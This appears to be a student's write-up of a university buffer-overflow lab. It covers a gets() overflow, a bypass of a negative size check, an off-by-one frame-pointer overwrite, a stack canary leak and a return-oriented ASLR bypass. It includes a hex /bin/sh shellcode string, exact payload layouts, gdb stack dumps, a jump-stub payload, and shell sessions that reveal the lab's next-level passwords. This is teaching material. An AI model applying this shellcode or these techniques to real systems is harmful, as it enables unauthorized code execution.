Skip to content
Snippets Groups Projects
explain.md 10.8 KiB
Newer Older
Recolic Keghart's avatar
Recolic Keghart committed
## 1
Recolic Keghart's avatar
Recolic Keghart committed

Recolic Keghart's avatar
Recolic Keghart committed
- a description of the vulnerability


Recolic Keghart's avatar
Recolic Keghart committed
Just run gdb and see what happens:

```
invoke -d dejavu
break deja_vu
run
x/24i $pc
#- ---------------
=> 0xb7ffc4ab <deja_vu+6>:	sub    $0xc,%esp
   0xb7ffc4ae <deja_vu+9>:	lea    -0x10(%ebp),%eax
   0xb7ffc4b1 <deja_vu+12>:	push   %eax
   0xb7ffc4b2 <deja_vu+13>:	call   0xb7ffc75e <gets>
   0xb7ffc4b7 <deja_vu+18>:	add    $0x10,%esp
   0xb7ffc4ba <deja_vu+21>:	nop
   0xb7ffc4bb <deja_vu+22>:	leave  
   0xb7ffc4bc <deja_vu+23>:	ret    
   0xb7ffc4bd <main>:	lea    0x4(%esp),%ecx
   0xb7ffc4c1 <main+4>:	and    $0xfffffff0,%esp
   0xb7ffc4c4 <main+7>:	pushl  -0x4(%ecx)
   0xb7ffc4c7 <main+10>:	push   %ebp
   0xb7ffc4c8 <main+11>:	mov    %esp,%ebp
   0xb7ffc4ca <main+13>:	push   %ecx
   0xb7ffc4cb <main+14>:	sub    $0x4,%esp
   0xb7ffc4ce <main+17>:	call   0xb7ffc4a5 <deja_vu>
   0xb7ffc4d3 <main+22>:	mov    $0x0,%eax
   0xb7ffc4d8 <main+27>:	add    $0x4,%esp
   0xb7ffc4db <main+30>:	pop    %ecx
   0xb7ffc4dc <main+31>:	pop    %ebp
   0xb7ffc4dd <main+32>:	lea    -0x4(%ecx),%esp
   0xb7ffc4e0 <main+35>:	ret    
   0xb7ffc4e1 <dummy>:	ret    
   0xb7ffc4e2 <dummy1>:	ret    
```

Then we go to the call instruction.

```
break *0xb7ffc4b2
c
```

I saw that eax is 0xbffffab8. The return address should original be 0xb7ffc4d3 (in main), and I can easily find it at 0xbffffacc. So I should put payload at 0xbffffad0 and input `0123456789abcdef0123456789abcdef01234567 + bffffa40 + payload`, where paylaod is `6a3158cd8089c389c16a4658cd8031c050682f2f7368682f62696e545b505389e131d2b00bcd800a`. After fixing byte sequence problem with python, the input.txt is ready.

Recolic Keghart's avatar
Recolic Keghart committed
- how it could be exploited

buffer overflow. already explained above.

- how you determined which address to jump to

hardcoded

- a detailed explanation of your solution

```
(gdb) run < input.txt 
Starting program: /home/vsftpd/dejavu < input.txt

Breakpoint 1, deja_vu () at dejavu.c:7
7	  gets(door);
(gdb) print (void *)door
$1 = (void *) 0xbffffab8
(gdb) x/32x 0xbffffab8
0xbffffab8:	0xbffffb6c	0xb7ffc165	0x00000000	0x00000000
0xbffffac8:	0xbffffad8	0xb7ffc4d3	0x00000000	0xbffffaf0
0xbffffad8:	0xbffffb6c	0xb7ffc6ae	0xb7ffc648	0xb7ffefd8
0xbffffae8:	0xbffffb64	0xb7ffc6ae	0x00000001	0xbffffb64
0xbffffaf8:	0xbffffb6c	0x00000000	0x00000000	0x00000100
0xbffffb08:	0xb7ffc682	0xb7ffefd8	0x00000000	0x00000000
0xbffffb18:	0x00000000	0xb7ffc32a	0xb7ffc4bd	0x00000001
0xbffffb28:	0xbffffb64	0xb7ffc158	0xb7ffd19d	0x00000000
(gdb) break 8
Breakpoint 2 at 0xb7ffc4ba: file dejavu.c, line 8.
(gdb) c
Continuing.

Breakpoint 2, deja_vu () at dejavu.c:8
8	}
(gdb) x/32x 0xbffffab8
0xbffffab8:	0x01234567	0x89abcdef	0x01234567	0x89abcdef
0xbffffac8:	0x01234567	0xbffffad0	0xcd58316a	0x89c38980
0xbffffad8:	0x58466ac1	0xc03180cd	0x2f2f6850	0x2f68736c
0xbffffae8:	0x546e6962	0x8953505b	0xb0d231e1	0x0080cd0b
0xbffffaf8:	0xbffffb00	0x00000000	0x00000000	0x00000100
0xbffffb08:	0xb7ffc682	0xb7ffefd8	0x00000000	0x00000000
0xbffffb18:	0x00000000	0xb7ffc32a	0xb7ffc4bd	0x00000001
0xbffffb28:	0xbffffb64	0xb7ffc158	0xb7ffd19d	0x00000000

```

Recolic Keghart's avatar
Recolic Keghart committed
```
pwnable:~$ ./exploit 
dumb-shell $ id
uid=1002(smith) gid=1001(vsftpd) groups=1001(vsftpd)
dumb-shell $ cat README
You have to let it all go. Fear, doubt, and disbelief. Free your mind.

Next username: smith
Next password: 37ZFBrAPm8
```
Recolic Keghart's avatar
Recolic Keghart committed


Recolic Keghart's avatar
Recolic Keghart committed
## 2
Recolic Keghart's avatar
Recolic Keghart committed

Recolic Keghart's avatar
Recolic Keghart committed
- a description of the vulnerability
Recolic Keghart's avatar
Recolic Keghart committed

Recolic Keghart's avatar
Recolic Keghart committed
already explained in problem 1.
Recolic Keghart's avatar
Recolic Keghart committed

Recolic Keghart's avatar
Recolic Keghart committed
- how it could be exploited
Recolic Keghart's avatar
Recolic Keghart committed

Recolic Keghart's avatar
Recolic Keghart committed
Just do as what I did in problem 1. I can see the return address is 0x00400775, stored at &msg+128+20.
Because the buffer is large enough, I'll put payload here. &msg is 0xbffffa18, so I must change 0x00400775
to 0xbffffa18.
Recolic Keghart's avatar
Recolic Keghart committed

Recolic Keghart's avatar
Recolic Keghart committed
Oh I didn't tell you how should I bypass the `size` limit. Just put a `-1` and enjoy it.
Recolic Keghart's avatar
Recolic Keghart committed

Recolic Keghart's avatar
Recolic Keghart committed
- how you determined which address to jump to
Recolic Keghart's avatar
Recolic Keghart committed

Recolic Keghart's avatar
Recolic Keghart committed
hardcoded.
Recolic Keghart's avatar
Recolic Keghart committed

Recolic Keghart's avatar
Recolic Keghart committed
- a detailed explanation of your solution
Recolic Keghart's avatar
Recolic Keghart committed

Recolic Keghart's avatar
Recolic Keghart committed
```
(gdb) run
Starting program: /home/smith/agent-smith pwnzerized

Breakpoint 2, display (path=0xbffffc5e "pwnzerized") at agent-smith.c:9
9	  memset(msg, 0, 128);
(gdb) print (void *)msg
$1 = (void *) 0xbffffa18
(gdb) x/32x 0xbffffa18
0xbffffa18:	0xb7ffd2d0	0x00400429	0x00000002	0xb7ffcf5c
0xbffffa28:	0x00000000	0xb7fc8d99	0x00000000	0x00400034
0xbffffa38:	0xbffffa40	0x00000008	0x01be3c6e	0x00000001
0xbffffa48:	0x00000030	0x00001fb8	0x00000000	0x000002a0
0xbffffa58:	0x00000180	0x00000000	0x00000000	0x00000000
0xbffffa68:	0x000000fc	0x00000010	0x0000041c	0x000007ac
0xbffffa78:	0x00000000	0x00000000	0x00000000	0x0000039c
0xbffffa88:	0x00000050	0x00000008	0x00000011	0xb7fff1a8
(gdb) c
Continuing.

Breakpoint 1, display (path=0xbffffc5e "pwnzerized") at agent-smith.c:21
21	  puts(msg);
(gdb) x/64x 0xbffffa18
0xbffffa18:	0xcd58316a	0x89c38980	0x58466ac1	0xc03180cd
0xbffffa28:	0x2f2f6850	0x2f686873	0x546e6962	0x8953505b
0xbffffa38:	0xb0d231e1	0x0a80cd0b	0x01010101	0x01010101
0xbffffa48:	0x01010101	0x01010101	0x01010101	0x01010101
0xbffffa58:	0x01010101	0x01010101	0x01010101	0x01010101
0xbffffa68:	0x01010101	0x01010101	0x01010101	0x01010101
0xbffffa78:	0x01010101	0x01010101	0x01010101	0x01010101
0xbffffa88:	0x01010101	0x01010101	0x01010101	0x01010101
0xbffffa98:	0x00000098	0x01010101	0x01010101	0x01010101
0xbffffaa8:	0x01010101	0xbffffa18	0xbffffc5e	0x00000000
0xbffffab8:	0x00000000	0x00400751	0x00000000	0xbffffae0
0xbffffac8:	0xbffffb60	0xb7f8cc8b	0xbffffb54	0x00000002
0xbffffad8:	0xbffffb60	0xb7f8cc8b	0x00000002	0xbffffb54
0xbffffae8:	0xbffffb60	0x00000008	0x00000000	0x00000000
0xbffffaf8:	0xb7f8cc5f	0x00401fb8	0xbffffb50	0xb7ffede4
0xbffffb08:	0x00000000	0x00400505	0x0040073b	0x00000002
```
Recolic Keghart's avatar
Recolic Keghart committed

Now I can see

```
pwnable:~$ ./exploit 
j1X̀�É�jFX̀1�Ph//shh/binT[PS��1Ұ


/home/smith $ id
uid=1003(brown) gid=1002(smith) groups=1002(smith)
/home/smith $ cat README
Welcome to the real world.

Next username: brown
Next password: mXFLFR5C62
```

Recolic Keghart's avatar
Recolic Keghart committed
## 3
Recolic Keghart's avatar
Recolic Keghart committed

Recolic Keghart's avatar
Recolic Keghart committed
![aslr.pdf figure 30](https://dl.recolic.net/res/161-proj1-3.png)
Recolic Keghart's avatar
Recolic Keghart committed

Recolic Keghart's avatar
Recolic Keghart committed
- description of the vulnerability
Recolic Keghart's avatar
Recolic Keghart committed

Recolic Keghart's avatar
Recolic Keghart committed
The question is off-by-one overflow problem. 
Recolic Keghart's avatar
Recolic Keghart committed

Recolic Keghart's avatar
Recolic Keghart committed
- how it could be exploited
Recolic Keghart's avatar
Recolic Keghart committed

Recolic Keghart's avatar
Recolic Keghart committed
After reading aslr.pdf figure 30, I know that I should set %ebp to &buf[0] (0xbffffa40), and put the new return address in &buf[1], and put the payload. So I should overflow an "40" to %ebp. Now I'll do it.
Recolic Keghart's avatar
Recolic Keghart committed

Recolic Keghart's avatar
Recolic Keghart committed
- how you determined which address to jump to
Recolic Keghart's avatar
Recolic Keghart committed

Recolic Keghart's avatar
Recolic Keghart committed
I hardcoded it to &buf[2].
Recolic Keghart's avatar
Recolic Keghart committed

Recolic Keghart's avatar
Recolic Keghart committed
- REALLY IMPORTANT NOTE
Recolic Keghart's avatar
Recolic Keghart committed

Recolic Keghart's avatar
Recolic Keghart committed
However, after implementing the solution above, ./debug-exploit works but ./exploit doesn't. That's because overflowed "0x40" xor "1<<5" yields "`", which is beaking the shell (in the buggy exploit script). So I shift everything 4 bytes right. Now %ebp is set to &buf[1] and new return address is set to &buf[2] and overflowed byte is "44". Now everything is OK.
Recolic Keghart's avatar
Recolic Keghart committed
- a detailed explanation of your solution
Recolic Keghart's avatar
Recolic Keghart committed
```
(gdb) print (void *)buf
$1 = (void *) 0xbffffa40
(gdb) x/32x 0xbffffa40
0xbffffa40:	0x00000000	0x00000001	0x00000000	0xbffffbeb
0xbffffa50:	0x00000000	0x00000000	0x00000000	0xb7ffc44e
0xbffffa60:	0x00000000	0xb7ffefd8	0xbffffb20	0xb7ffc165
0xbffffa70:	0x00000000	0x00000000	0x00000000	0xb7ffc6dc
0xbffffa80:	0xbffffa8c	0xb7ffc539	0xbffffc27	0xbffffa98
0xbffffa90:	0xb7ffc55d	0xbffffc27	0xbffffb20	0xb7ffc734
0xbffffaa0:	0x00000002	0xbffffb14	0xbffffb20	0x00000000
0xbffffab0:	0x00000000	0x00000100	0xb7ffc708	0xb7ffefd8
(gdb) break 20
Breakpoint 2 at 0xb7ffc51f: file agent-brown.c, line 20.
(gdb) c
Continuing.

Breakpoint 2, invoke (
    in=0xbffffc27 "!\003eG!\003eGl\332ߟJ\021x\355\240\251\343\251\341Jfx\355\240\021\340pH\017\017SHH\017BINt{ps\251\301\021\362\220+\355\240*", '!' <repeats 12 times>, "d")
    at agent-brown.c:20
20	  puts(buf);
(gdb) x/32x 0xbffffa40
0xbffffa40:	0x67452301	0x67452301	0xbffffa4c	0xcd58316a
0xbffffa50:	0x89c38980	0x58466ac1	0xc03180cd	0x2f2f6850
0xbffffa60:	0x2f686873	0x546e6962	0x8953505b	0xb0d231e1
0xbffffa70:	0x0a80cd0b	0x01010101	0x01010101	0x01010101
0xbffffa80:	0xbffffa44	0xb7ffc539	0xbffffc27	0xbffffa98
0xbffffa90:	0xb7ffc55d	0xbffffc27	0xbffffb20	0xb7ffc734
0xbffffaa0:	0x00000002	0xbffffb14	0xbffffb20	0x00000000
0xbffffab0:	0x00000000	0x00000100	0xb7ffc708	0xb7ffefd8
```
Recolic Keghart's avatar
Recolic Keghart committed


```
pwnable:~$ ./exploit
#Eg#EgL���j1X̀�É�jFX̀1�Ph//shh/binT[PS��1Ұ

D���9���'�������]���'��� ���4���
/home/brown $ cat README
Remember, all I'm offering is the truth. Nothing more.

Next username: jz
Next password: cqkeuevfIO
```

Recolic Keghart's avatar
Recolic Keghart committed
The solution is easy. Since BUFLEN=16, I send `0123456789ab\x`, then dehexify skips the `\0` and prints everything in canary area. Now I can determine the canary value.
Recolic Keghart's avatar
Recolic Keghart committed
Now I construct a message with 16 junk characters to fill the buffer + correct canary + another 8 characters to shift ebp & other staffes + the return address (pointing to the following shellcode) + shellcode.
Recolic Keghart's avatar
Recolic Keghart committed
## 5

- motivation

I noticed the following content in `objdump -d agent-jones`:

```
 8048680:	89 c8                	mov    %ecx,%eax
 8048682:	89 45 0c             	mov    %eax,0xc(%ebp)
 8048685:	8b 45 08             	mov    0x8(%ebp),%eax
 8048688:	23 45 0c             	and    0xc(%ebp),%eax
 804868b:	5d                   	pop    %ebp
 804868c:	c3                   	ret    

...

08048930 <__do_global_ctors_aux>:
 8048930:	55                   	push   %ebp
 8048931:	89 e5                	mov    %esp,%ebp
 8048933:	53                   	push   %ebx
 8048934:	52                   	push   %edx
 8048935:	bb dc 9e 04 08       	mov    $0x8049edc,%ebx
 804893a:	8b 03                	mov    (%ebx),%eax
 804893c:	83 f8 ff             	cmp    $0xffffffff,%eax
 804893f:	74 07                	je     8048948 <__do_global_ctors_aux+0x18>
 8048941:	ff d0                	call   *%eax
 8048943:	83 eb 04             	sub    $0x4,%ebx
 8048946:	eb f2                	jmp    804893a <__do_global_ctors_aux+0xa>
 8048948:	58                   	pop    %eax
 8048949:	5b                   	pop    %ebx
 804894a:	5d                   	pop    %ebp
 804894b:	c3                   	ret    

```

I can set `%ebp` to any fixed address, then return to 0x08048680. Because `&buf` is in `%ecx`, then value of `0xc(%ebp)` will be `&&buf`. Then put `%ebp+0xc` (that's a fixed address) onto stack, return to `0x08048949`, and now we have `&&buf` in `%ebx`. Then return to `0x0804893a`, `(%ebx)` is sent to `%eax` and jumps to `&buf`, we win!

However, we need a fixed-address writable page to put `%ebp`. The page `0x08048000 - 0x08049000` is not writable. I'm so lucky that the page starts at `0x0804a000` works! So I set the "fixed address" to `0x0804a790`.

- implementation

Please see the image below. The procedure is too complicated to explain.

Recolic Keghart's avatar
Recolic Keghart committed
![Please contact root@recolic.net if you can not view this image](https://dl.recolic.net/res/161-proj1-5.png)
Recolic Keghart's avatar
Recolic Keghart committed
Because I have 40 bytes ahead for payload, I can put a shellcode to launch /bin/sh directly. But if I want to create tcp server, I have to write a simple payload and jmp to `&buf+68`. The simple payload is attached below.

```
// get current addr
call foo
foo:
pop %eax

// 40 + 4+4+4+4+4+4+4 - 5
add $63, %eax
jmp *%eax
```
Recolic Keghart's avatar
Recolic Keghart committed
I put 5 `nop` at `&buf+68` to make it work even if I have made a mistake.